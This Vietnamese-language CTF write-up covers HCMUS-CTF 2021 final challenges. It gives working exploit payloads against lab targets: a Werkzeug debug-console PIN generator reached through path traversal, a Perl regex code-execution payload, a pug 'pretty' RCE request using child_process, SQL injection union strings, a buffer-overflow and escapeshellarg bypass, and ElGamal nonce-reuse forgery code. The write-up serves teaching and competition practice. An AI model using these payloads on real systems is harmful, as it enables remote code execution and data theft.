WRITE-UP HCMUS-CTF-2021-FINAL
| Challenge type |
|---|
| WEB |
| WEB MIX |
| PWNABLE |
| CRYPTOGRAPHY |
| REVERSE |
WEB
GenshinWiki
Description: Flag stored at ./flag.txt
Attachment: Dockerfile
Challenge này cho một file Dockerfile có nội dung như sau
FROM ubuntu:16.04
RUN apt-get update -y && \
apt-get install -y python-pip python-dev
COPY ./requirements.txt /app/requirements.txt
WORKDIR /app
RUN pip install -r requirements.txt
COPY . /app
EXPOSE 3000
CMD ["python", "app.py"]
Tổng quan về challenge thì web dính lỗi Path traversal, từ chổ này ta có thể đọc bất kỳ file nào trên server. Đồng thời, lợi dụng lỗi này ta có thể dễ dàng lấy source ở /app/app.py
Source code:
import glob
import json
from flask import Flask, render_template, request
app = Flask(__name__)
with open("flag.txt", "r") as f:
flag = f.read()
@app.route("/")
def index():
file_list = glob.glob("characters/*")
file_list.sort()
character_list = []
for file in file_list:
with open(file, "r") as f:
character = json.loads(f.read())
character_list.append(character)
return render_template("index.html", character_list=character_list)
@app.route("/character")
def character():
slug = request.args.get("name")
with open("characters/" + slug, "r") as f:
data = f.read()
if flag in data:
return "No flag for you! Checkmate!"
return render_template("character.html", data=data)
if __name__ == "__main__":
app.run("0.0.0.0", 3000, debug=True);
document.title = `${character.name} | Genshin Impact - Wikipedia`;
document.querySelector("#img").src = character.img;
document.querySelector("#name").innerText = character.name;
document.querySelector("#title").innerText = character.title;
document.querySelector("#intro").innerText = character.intro;
document.querySelector("#personality").innerText = character.personality;
Dễ dàng thấy lỗi Path traversal ở route /character
@app.route("/character")
def character():
slug = request.args.get("name")
with open("characters/" + slug, "r") as f:
data = f.read()
if flag in data: # Vì bị check chổ này nên ta không thể đọc được flag một cách dễ dàng được :((
return "No flag for you! Checkmate!"
return render_template("character.html", data=data)
Vì options debug=True được mở, nên có thể dễ dàng check được rằng là route /console đang được bật, nhưng cần phải có PIN code. Giờ việc cần làm là gen lại được cái PIN code đấy để có thể đọc flag.
Code gen pin:
import hashlib
from itertools import chain
import os
import getpass
pin = None
rv = None
num = None
probably_public_bits = [
'root' , # Vì deloy bằng docker nên ta có thể đoán được, hoặc đọc file /etc/passwd và có thể confirm rằng ta có thể đọc /etc/shadow qua Path traversal
'flask.app' , # modname Always the same
'Flask' , # Always the same
'/usr/local/lib/python2.7/dist-packages/flask/app.pyc' # getattr(mod, '__file__', None) => Cái này các bạn tự deloy rồi kiểm tra nhé
]
# PIN = 336-514-623
def _generate():
linux = b""
for filename in "./machine-id.txt", "./boot_id.txt": # machine-id.txt từ /etc/machine-id (có thể có hoặc không) và bood_id lấy từ /proc/sys/kernel/random/boot_id
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except IOError:
continue
if value:
linux += value
break
try:
with open("./cgroup.txt", "rb") as f: # file cgroup.txt lấy từ /proc/self/cgroup
linux += f.readline().strip().rpartition(b"/")[2]
except IOError:
pass
if linux:
print(linux)
return(linux)
private_bits = [
"6715920611201", # Đây là MAC address được convert sang decimal, đầu tiên đọc /proc/net/arp để tìm network interface (case này là eth0) và sau đó, đọc /sys/class/net/eth0/address để lấy địa chỉ MAC rồi convert sang decimal là xong
_generate()
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = "__wzd" + h.hexdigest()[:20]
if num is None:
h.update(b"pinsalt")
num = ("%09d" % int(h.hexdigest(), 16))[:9]
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
Sau khi có PIN code thì nhập vào và chiếm được console rồi đọc flag!!
FLAG:
HCMUS-CTF{turn-off-debug-mode-pls}
CuteShopV2
Source code:
const express = require("express");
const session = require('express-session')
const config = require("./config");
const path = require("path");
const mysql = require("mysql2");
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";
const FLAG = "Flag{ahih}" //require("fs").readFileSync("flag.txt");
const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
database: 'test'
});
(function initDB() {
sql = `create table if not exists users(
id int not null auto_increment,
username nvarchar(30) not null,
password nvarchar(40) not null,
money int,
gifted tinyint(1),
primary key (id)
)`
connection.query(sql);
sql = `insert into users(username, password) values("HCMUS-admin", "HCMUS-${config.admin_password}")`
connection.query(sql);
})();
const app = express();
app.use(express.json());
app.use(session(config.session));
app.use(express.static("public"))
app.set("view engine", "pug");
app.set("views", path.join(__dirname, "views"));
app.use((req, res, next) => {
const allowedType = ["string", "number"];
for (key in req.query) {
if (!allowedType.includes(typeof (req.query[key])))
return res.send("Nice try");
}
for (key in req.body) {
if (!allowedType.includes(typeof (req.body[key])))
return res.send("Nice try");
}
next();
})
app.get("/", (req, res) => {
if (!req.session.authenticated)
return res.redirect("/login");
connection.query(
"select money from users where username=?",
[req.session.username],
(err, result) => {
money = 0;
if (err)
money = 0;
else
money = result[0].money;
return res.render("index", { authenticated: req.session.authenticated, username: req.session.username, money: money });
}
)
});
app.get("/source", (req, res) => {
return res.sendFile(path.join(__dirname, "server.js"));
})
app.route("/login")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
res.render("login", { authenticated: false });
})
.post((req, res) => {
username = req.body.username;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
password = req.body.password;
if (typeof password == 'undefined')
return res.json({ "status": 403, "message": "Password can't be blank" });
connection.query(
"select * from users where username = ? and password = ?",
[username, password],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occur" });
if (result.length < 1)
return res.json({ "status": 403, "message": "Wrong username or password" });
req.session.username = username;
req.session.authenticated = true;
return res.json({ "status": 200, "message": "Logged in" });
}
)
})
app.route("/register")
.get((req, res) => {
res.render("register", { authenticated: false });
})
.post((req, res) => {
username = req.body.username;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
password = req.body.password;
if (typeof password == 'undefined')
return res.json({ "status": 403, "message": "Password can't be blank" });
connection.query(
"select * from users where username = ?",
[username],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
if (result.length > 0)
return res.json({ "status": 403, "message": "Username already taken" });
connection.query(
"insert into users(username, password, money, gifted) values(?, ?, 10, 0)",
[username, password],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
return res.json({ "status": 200, "message": "Create account successful" });
})
})
})
app.route("/flag")
.post((req, res) => {
if (!req.session.username)
return res.json({ "status": 403, "message": "Not logged in" });
connection.query(
"select money from users where username=?",
[req.session.username],
(err, result) => {
money = 0;
if (err)
money = 0;
else
money = result[0].money;
if (money > 100)
return res.json({ "status": 200, "message": `Here is your flag: ${FLAG}` })
return res.json({ "status": 403, "message": "But you dont have enough money" });
})
})
async function log(receiver) {
// TODO: add real code instead of sleep
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
await sleep(200);
}
app.route("/gift")
.all((req, res, next) => {
if (req.session.authenticated) {
if (req.session.username == "HCMUS-admin")
return next();
return res.sendStatus(403);
}
return res.redirect("/login");
})
.get((req, res) => {
return res.render("gift");
})
.post((req, res) => {
receiver = req.body.receiver;
if (typeof username == 'undefined')
return res.json({ "status": 403, "message": "Username can't be blank" });
connection.query(
"select * from users where username=?",
[receiver],
(err, result) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
if (result.length < 1) {
return res.json({ "status": 403, "message": "Username not found" });
}
isGifted = result[0].gifted;
if (isGifted)
return res.json({ "status": 200, "message": "Already gifted" });
connection.query(
"update users set money = money + 10 where username=?",
[receiver],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
log(receiver).then(() => {
connection.query(
"update users set gifted = 1 where username=?",
[receiver],
(err) => {
if (err)
return res.json({ "status": 403, "message": "Error occurs" });
return res.json({ "status": 200, "message": "Success" });
})
});
})
})
})
app.route("/logout")
.get((req, res) => {
delete req.session.authenticated;
delete req.session.username;
res.redirect("/login");
})
app.listen(port, host);
console.log(`Running on http://${host}:${port}`);
Đọc source code thì ta thấy code có chức năng như sau:
- Nếu
money > 100thì có thể đọc được FLAG - Nếu như là admin thì có thể tặng 10$ cho bất cứ user nào
- Mỗi user chỉ được tặng 1 lần
Nhưng may mắn là có một bạn nói với mình là pass của admin đơn giản là HCMUS- (không biết có config lỗi hay không XD), nhờ vậy mà cuộc sống đỡ bế tắc hơn hẳn :((. Có admin rồi nhưng mỗi user chỉ được tặng một lần?? => Race condition, nghĩa là lấy session admin rồi gửi request đùn đùn vào route /gift để số tiền được cộng dồn là được.
Flag:
HCMUS-CTF{rac3-t0-The-Fl444g}
REGULAR lang EXporter
Đây là một challenge được code bằng perl thực thi qua CGI-bin, chức năng là lấy regex từ user qua param ?search và file cần đọc qua param ?language sau đó trả về nội dung trong file đấy khớp với regex là xong.
Lợi dụng việc đó, ta có thể kéo source code về gồm 3 file: api.pl, helper.pl và index.pl, nhưng chức năng chính nằm ở api.pl nên ta chỉ focus vào api.pl trong trường hợp này nhé!
#!/usr/local/bin/perl
require "./helper.pl";
use CGI;
$cgi = CGI->new;
$search = $cgi->url_param('search');
$language = $cgi->url_param('language');
print $cgi->header('text/plain','200 OK');
$content = read_file($language);
@words = split('\n', $content);
@filtered = ();
foreach ( @words ) {
if ($_ =~ qr/$search/) {
push(@filtered, $_);
}
}
print join("\n", @filtered);
Code cũng không có vấn đề gì, nhưng sau một hồi tìm docs về regular expression về perl thì mình tìm thấy một pattern có khả năng thực thi code trong nó

Payload: /cgi-bin/api.pl?search=(?{print+`cat+/FLAAAG_HERE_NO_ONNE_CAN_GUESSS_M3.wtf`})&language=./content/english.txt
Flag:
HCMUS-CTF{learn-me-plz-https://www.rexegg.com/regex-disambiguation.html}
Pokegen
Source code:
// server.js
const express = require("express");
const session = require('express-session');
const config = require("./config");
const MongoClient = require('mongodb').MongoClient;
var db;
const app = express();
const port = process.env.APP_PORT || 1337;
const host = "0.0.0.0";
app.use(session(config.session));
app.set("view engine", "pug");
app.use(express.static("public"));
app.use(express.urlencoded({extended: true}));
app.use((req, res, next) => {
const allowedType = ["string", "number"];
for (key in req.query) {
if (!allowedType.includes(typeof (req.query[key])))
return res.send("Nice try");
}
for (key in req.body) {
if (!allowedType.includes(typeof (req.body[key])))
return res.send("Nice try");
}
next();
})
app.route("/")
.all((req, res, next) => {
if (!req.session.authenticated)
return res.redirect("/register");
next();
})
.get((req, res) => {
req.session.user.pokemon = Math.floor(Math.random()*3);
req.session.user.health = Math.floor(Math.random()*4) + 1;
req.session.user.power = Math.floor(Math.random()*4) + 1;
res.render("index", req.session.user);
});
app.route("/register")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
return res.render("register");
})
.post((req, res) => {
user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
console.log(user)
db.collection("users").insertOne(user);
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = req.body.username;
return res.redirect("/");
})
app.route("/login")
.all((req, res, next) => {
if (req.session.authenticated)
return res.redirect("/");
next();
})
.get((req, res) => {
return res.render("login");
})
.post((req, res) => {
db.collection("users").findOne(
{username: req.body.username, password: req.body.password},
(err, result) => {
if (err)
return res.render("login", {error: "Something error"});
if (!result)
return res.render("login", {error: "Wrong username or password"});
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = result.username;
return res.render("index", result);
});
})
MongoClient.connect("mongodb://localhost:27017/pokegen", (err, client) => {
if (err) {
console.log(err);
return;
}
db = client.db("pokegen");
app.listen(port, host);
console.log(`Running on http://${host}:${port}`);
});
// package.js
{
"name": "pokegen",
"version": "1.0.0",
"description": "",
"main": "server.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"express": "^4.17.1",
"express-session": "^1.17.1",
"mongodb": "^3.6.6",
"pug": "3.0.0"
}
}
Với những dạng như này, mình hay xem package.json trước tiên, vì rất có thể tác giả sử dụng version của những lib hay module cũ và tất nhiên nếu may mắn, ta có thể tìm được chi tiết về cách khai thác của bug đó. Trong case này, version của pug ở đây là pug==3.0.0, ta có thể dễ tìm thấy được issue của nó tại đây: https://github.com/pugjs/pug/issues/3312
Bug này nhắm vào pretty options của pug compiler, nghĩa là nếu ta control được biến pretty hay options.pretty thì có thể RCE được (còn tại sao lại RCE được thì các bạn đọc thêm cái issue trên :D), bằng cách khai thác chổ
...
app.route("/register")
...
})
.post((req, res) => {
user = {...req.body, health: Math.floor(Math.random()*4) + 1, power: Math.floor(Math.random()*4) + 1};
console.log(user)
db.collection("users").insertOne(user);
req.session.authenticated = true;
req.session.user = {};
req.session.user.username = req.body.username;
return res.redirect("/");
})
...
req.body là input của mình, nghĩa là có thể nhập bất cứ gì mà ta muốn rồi sau đó nó được đưa vào biến user => Nên ta có thể đưa biến pretty vào chổ này thông qua chức năng /register
POST /register HTTP/1.1
Host: localhost:1337
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 111
Origin: http://localhost:1337
Connection: close
Referer: http://localhost:1337/register
Cookie: connect.sid=s%3ABX9aeSpbk4oPCyz9a3907yNADa45EPm0.iI1heOLJUaCjIg9BQREvpcdANOMFUH%2BvwaEXhJHnWss
Upgrade-Insecure-Requests: 1
username=nhienit&password=rce&pretty=');process.mainModule.constructor._load('child_process').exec('calc');_=('
Sau khi login thành công, sẽ redirect sang route / và template được render ra thì có thể thấy popup của calc.exe của mình đã hiện lên và RCE thành công.

Tiếc là, team mình đã không kịp solve được challenge này nên khá là hối tiếc :(((
WEB MIX
Web x Cryptography
-
Đây là 1 bài web kết hợp với crypto, khi mình download source về và xem qua thì đây là 1 bài web dùng thư viện
flaskvàjwt -
Đọc qua luồng của bài này thì thấy rằng cần tạo ra được json web token để sau khi gọi hàm
jwt.decodethìusernamephải làadmin

- Tác giả dùng file
keygen.shđể tạo cặp khóaprivate keyvàpublic key(RSA 2048 bit)

- Ban đầu thì mình cũng nghĩ rằng phải tìm cách leech được
keyđể có thể tạotokenhợp lệ - Tuy nhiên sau khi nhìn code, mình phát hiện bài này dính lỗi
sqliở cả hàm đăng ký và đăng nhập
- Tadaaaa… Vậy là chỉ cần sqli để lụm flag thoai, đầu tiên mình sẽ kiểm tra số cột của bảng
usersbằng cách dùngorder by, sau khi phát hiện bảnguserschỉ có 3 cột - Route
indexchỉ kiểm trausernamelàadminthì sẽ trả về flag, do đó mình sẽ dùng union để bypass bằng cách dùng payload sau:testttttttttttt' union 'admin', 'admin', 'admin'-- -
Web x Binary
-
Đây là 1 bài web khá thú vị, đội của mình khá may mắn khi là đội duy nhất giải được câu này
-
Đầu tiên sẽ nhận 2 params
usernamevàpasswordsau đó dùng hàmescapeshellargđể filter nên không thể khai thác bằngos command injectionđược -
Sau khi lấy file binary về, ném vào IDA thì luồng của chương trình như sau

- Chương trình nhận vào 2 parameter lần lượt là
usernamevàpassword, sau đó gọi hàmcheck_login, hàm này cũng truyền reference biếnsession_idvào - Hàm
check_logincó luồng thực thi như sau

- Đầu tiên nó sẽ gọi hàm
hex_encodeusername và lưu vào biếnhex_result, sau đó đọc từng dòng trong file./data/user-database.txtsau đó tách username và password theo format%s %s, tiếp theo sẽ dùng hàmstrncmpđể so sánh, nếu username và password trùng khớp thì sẽ copyhex_resultvàosession_id - Vậy tức là file auth có nhiệm vụ như sau: Kiểm tra username và password, nếu trùng khớp với 1 tài khoản trong file
./data/user-database.txtthì sẽ trả về hex encode của username - Sau khi đọc file
index.php?debug=1thì mình phát hiện ra rằng, có thể trigger được sqli nếu như có thể control đượcsession_idđược trả về từ binaryauth - Sau 1 hồi debug thì mình phát hiện ra rằng có thể ghi đè được giá trị của biến
session_idbằng cách buffer overflow, tức là chỉ cần nhập mật khẩu có dạng như sau:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' or 1=1-- -thì khi bị ghi đè,session_idchỉ còn lại là' or 1=1-- - - Tiếp theo cần bypass hàm
escapeshellargđể tạo ra được payloadsqlihợp lệ, payload của mình làusername=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,tbl_name from sqlite_master-- - - Sau khi lấy được toàn bộ tables thì mình thấy có 1 table tên
flag_abcxyz - Cuối cùng là payload để lấy flag:
username=admin&password=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\' union select 1,* from flag_abcxyz-- -
PWNABLE
Easy_rop

Đây là một bài bof cơ bản với việc cấp phát 16 bytes và cho nhập tràn.

Hàm gọi đến shell với điều kiện 3 đầu vào.

Cách làm là cho tràn và control địa chỉ trở về đến địa chỉ system(“/bin/sh”).
Payload:

Tu_Thien
Với bài này thì khá đơn giản vì cho source rồi. Ban đầu chương trình khởi tạo user “admin” với mật khẩu được sinh ngẫu niên.


Người dùng phải đăng nhập vào tài khoản “admin” để có thể nhận flag.
Khai thác từ việc strcmp sẽ so sánh đến byte \x00 nên ta sẽ bruteforce password với null byte.

Payload:

limited_shellcode
Thông tin đề bài.

Chương trình cho phép chúng ta nhập vào lưu shellcode tại 1 vùng memory. Sau khi thực hiện kiểm tra nếu hợp lệ sẽ thực thi shellcode.

Chương trình sẽ filter các byte <= 0x1f và >= 0x80. Vậy nó sẽ chặn việc thực hiện 2 bytes quan trọng là 0xcd và 0x80.(int 0x80).

Sau mỗi lần phát hiện bytes không hợp lệ thì biến check_shell sẽ tăng. Để ý thấy ở đây biến này chỉ được khai báo với 1 byte. Vậy ta có thể cho tràn số nguyên để control biến này về 0 (256 => 0). Bằng cách đè thêm vào các bytes không hợp lệ (vd: 0x90).

Payload:

CRYPTOGRAPHY
Polynomial AES (58 pts)
encrypt.py
from Crypto.Util.number import getPrime, getRandomRange, getRandomInteger
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
flag = open("flag.txt", "rb").read()
def sha256(s: bytes) -> bytes:
h = SHA256.new()
h.update(s)
return h.digest()
def generate_key() -> bytes:
d = getRandomRange(20, 30)
p = getPrime(1024)
q = []
for _ in range(d + 1):
q.append(getRandomInteger(100))
def eval(x: int) -> int:
ans = 0
mul = 1
for i in range(d + 1):
ans = (ans + mul * q[i]) % p
mul = (mul * x) % p
return ans
print(f"p = {p}")
print(f"q = {q}")
H = range(1, p)
s = 0
for h in H:
s = (s + eval(h)) % p
key = sha256(str(s).encode())
return key
key = generate_key()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = cipher.encrypt(pad(flag, AES.block_size))
print(f"Encrypted flag: {ct.hex()}")
output.txt
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
Encrypted flag: 413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5
Cho một đa thức f bậc d thuộc Fp[x] với các hệ số như trong list q, khóa key dùng để mã hóa flag được tính bằng s = f(1) + f(2) + f(3) + ... + f(p-1) (mod p), key = sha256(str(s).encode()).
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
p có độ dài 1024 bit, loop từ 1 đến p-1 thì không biết đến khi nào mới xong…
Có .
.
.
Đổi lại thì phải tính - Faulhaber’s formula.
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from polysum import * # https://github.com/fcard/PolySum/blob/master/Python/polysum.py
from hashlib import sha256
p = 177623787080918790693312135936556122024020095001443303172107276987982440197490523418145835127889071265905054737784623738629013338784360558617366098465518180680782530663638215602960132688937540305263995580366073873308704407001927606741585489839642710147345583432505462036986076120792139184590814347216415564101
q = [801237753591354715102942191156, 626618719198500674209203323781, 990607682230559368102514378597, 300626649773649360709969851789, 874661725788013406358456728725, 611124797526692571169418404283, 696940952735206910076260768209, 202318491739756355785884585154, 217597478025466348191206328033, 238860189889236925504208320473, 257324672120956057034462883536, 160322512393915295700562029637, 607851219645061751393650249507, 843763343969620761723084660993, 664187143329183292841846729739, 1006116355393829943519743575276, 1032255895907602121421225800124, 760726117259231496345295071803, 374029363383881393553491416304, 510251190591403967192508766973, 418897119833960203375767935538, 454322945572252709096080212504, 442294223579983673964906923798, 974394018465930277236048171917, 615939424032648824469586728134]
s = 0
for i,j in enumerate(q):
s += polysum(i,p-1)*j
s = s % p
key = sha256(str(s).encode()).digest()
cipher = AES.new(key, mode=AES.MODE_ECB)
ct = bytes.fromhex('413016e1c544c23c3fddb759388ec267cd47980a57de5e3c5c6e6b5628eea5d5')
flag = unpad(cipher.decrypt(ct),16)
print(flag.decode())
# HCMUS-CTF{learn-algebra}
DragonBall (95 pts)
Bài DragonBall nói về ElGamal signature scheme. Mình chưa chụp lại lúc làm bài, mà sơ qua thì server có 3 lựa chọn, generate, verify và debug.
generateđể nhập username, sau đó server gen một chuỗiUSERNAME=username&LEVEL=Saiyan, ký bằng Elgamal-SHA1, trả về một token có chứarvàs.verifyđể nhập token và xác thực user, nếu làSuperSaiyanthì trả về flag.- Và
debugcho biết tham sốgvàpđược dùng.
Kiểm tra g và p không thấy có gì bất thường, mình nhập thử các username khác nhau thì biết được nonce k cố định rồi.
Như vậy có thể tìm lại k và private key x, đủ để tạo token thỏa yêu cầu USERNAME=username&LEVEL=SuperSaiyan.
import base64
from Crypto.Util.number import long_to_bytes, bytes_to_long
from hashlib import sha1
p = 129395855808705212728342121899564040533627536165407217623699982163034898985604990453612738681235265684964910273382421570674875235106037524148312004154122323500944367988234700927644310658336581857679208804861661335768169851589929150626616698506529354785376916490328643358410300092039405295348822918174724269387
g = 125119881720420900707670154269953309690838537679536446473408150363676013315875914220318853661265626997530402259420104771257078966641464155686445398996594055909718103795617751840611152747280651424068043671714408414771552296848509963265865300590662320297995606313265875459093865996548994154719802981360764938058
h1 = bytes_to_long(sha1(b'USERNAME=123&LEVEL=Saiyan').digest())
r1 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s1 = bytes_to_long(b'Eg\x19x\xf3\x81\xcbu\xdb\x03L\xd6\xd1\xf0JZkE\xf4\x8c\xac\xa2\xb5\xcc\x1d\x96\x98\xb27a\xa1\x98\xbe\xf3vxTqZ\x9d\xe0\x03~\x8fg\xda\xe6\x18-\xd1\xe2!\x11\x9f\x87Bc\t\xff\xd3c\x0e\xaf\xe5;\xe43\'\x88\x05\xee\xf0\x8b\xa6\xe0f\xb3-C\xcf\x92\x89??\x9b\x1d\xcc\xc0}H\x96\xa1\xac[\x10^\xb6\x90\xa5\xa1X\xff,V\x8d\xfd}\xe3[\x17H\xd2_Bs\x1b}[|\xf9\x16@^\xdbJ&^\x9a')
h2 = bytes_to_long(sha1(b'USERNAME=ww&LEVEL=Saiyan').digest())
r2 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s2 = bytes_to_long(b'D\xd1\xf6\xa8\xff|8\xfa\x85\xec\x96\x9b\xc8\xcdH[\xf7\xa0\xf9\xfdt\x07\xc9H\xff\xef\xeb.\xfd\xf0\xdbb\xab\x1aG\xb4B\xc3!\xe6\xbc\xbb]\xc8\t\x8cKej\x95\xcd\x84\xfe\x7fA\x8cVf\xbf\xa1\x11\nV\xed\x06b\xb8W\x1aXD%J\xe3\x1a\xb8\x9a!\x87\x15\xdfY\x1a\x11n{\xd5\rc\xf5C&4\xcc)\t%\xb6\x7f\xc1r\xf2\xaf\x9a\xc3\xc2\x9f9\xfd:,\x84\x13\x94\x89\xbfKS\xe7\x8f8=\xc0\x16\xa41>\x91')
h3 = bytes_to_long(sha1(b'USERNAME=1&LEVEL=Saiyan').digest())
r3 = bytes_to_long(b'M\xc3\xbek\xf1\xe7\x02\xfaY\xd9D\xa1\xb8\x13\x86(ZB.\xce\x98"\xb4Z\x84f\xbb\xf4\x14\xcf1\xdf\x90Y\x81\xd1\x00\xa1D\x10\xc6jTp\xdc\xe9.\xdf\xcd\x89\xd1\x12A\xab\xf7\x7f_x\xfai\xf8\tP\xf6\xb6.g\xb0E\x1c\x8c\x8f\xdc\x15\x87\x0c-\x92\xe8@t\xa7\xef\xe6\xdav\xee\xdd\x03\xf7\xc2R\xb3\x15\xac\'\xfdH\\T\x95\x85W\'sVf\x17\x98>\x0c*\xe45\xfd\xe8E\xf94\x0f\xafIq1\t$<e')
s3 = bytes_to_long(b'<\x0e0\xef\xfd\x1b\r!\xa9Wf\xee\xc9\xad\xa5\x9d\x17\xe8l\xfaP\xd2}\t\x8f.b\x80\xc9\xe3\x15^\x96\x12ASxm\x85\xa0\xc8\x8b8\xe2\x03\xb3$Su\x92p&\xee"\xa6\x80\xe2\xdc\xa5g\x9b+lS\x1ca\x0c\x88+z\xd3\xa9\xec\xf9\x8f>\x97\xcb\xdd\x86\xb3UE\xc3{\xc4Vt\xd4\xce\xba\xe9C\xa5\xc3\xfe\x85l\x86ew\xc1\xda\x97\xad\x87Q\x82\xea\xb1aO\n\x9d\xdf\xafTU\xb4\xea\xbf\x9e,\x05\xce\xfbO\x18')
h = bytes_to_long(sha1(b'USERNAME=123&LEVEL=SuperSaiyan').digest())
k = (h1 - h2) * pow(s1-s2,-1,p-1) % (p-1)
x = (h1 - k * s1)*pow(r1,-1,p-1) % (p-1)
assert s1 == ((h1 - x*r1)*pow(k,-1,p-1) %(p-1))
assert s2 == ((h2 - x*r2)*pow(k,-1,p-1) %(p-1))
assert s3 == ((h3 - x*r3)*pow(k,-1,p-1) %(p-1))
r = r1
s = (h - x*r)*pow(k,-1,p-1) % (p-1)
S = b'USERNAME=123&LEVEL=SuperSaiyan' + b'&r=' + long_to_bytes(r) + b'&s=' + long_to_bytes(s)
print(base64.b64encode(S))
Lúc verify nhập token SuperSaiyan là được flag.
VVNFUk5BTUU9MTIzJkxFVkVMPVN1cGVyU2FpeWFuJnI9TcO+a/HnAvpZ2UShuBOGKFpCLs6YIrRahGa79BTPMd+QWYHRAKFEEMZqVHDc6S7fzYnREkGr939fePpp+AlQ9rYuZ7BFHIyP3BWHDC2S6EB0p+/m2nbu3QP3wlKzFawn/UhcVJWFVydzVmYXmD4MKuQ1/ehF+TQPr0lxMQkkPGUmcz00i9EUt9d/ifwYU8pc8sxN/4O/O3kJD8+gBPYHAqSo5dKoMw7gI2S7GjkmJYg2MohUKYFK+Y+aV//wUdaBC5yVymcTGs3AM5mJqYOGXR+/9N3frdCGKwLNcaagdoepYUFKMxYfrD4u+BU67uTDuQoc+ol0bGNmtY6wfB/jNvZVEA==
RSA PTA (100pts)
chal.py
from Crypto.Util.number import isPrime, getPrime
import random
import math
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1) * (q-1)
while True:
e = random.randint(2,n-1)
if math.gcd(e,phi) == 1:
break
d = pow(e, -1, phi)
m = random.randint(2,n-1)
c = pow(m, e, n)
print(m, c)
p = int(input())
q = int(input())
d = int(input())
assert(p < q)
assert(512 <= p.bit_length())
assert(q.bit_length() < 1024)
assert(isPrime(p))
assert(isPrime(q))
n = p * q
assert(1 < d < n)
if m == pow(c, d, n):
with open('/home/ctf/flag.txt','r') as f:
print(f.read())
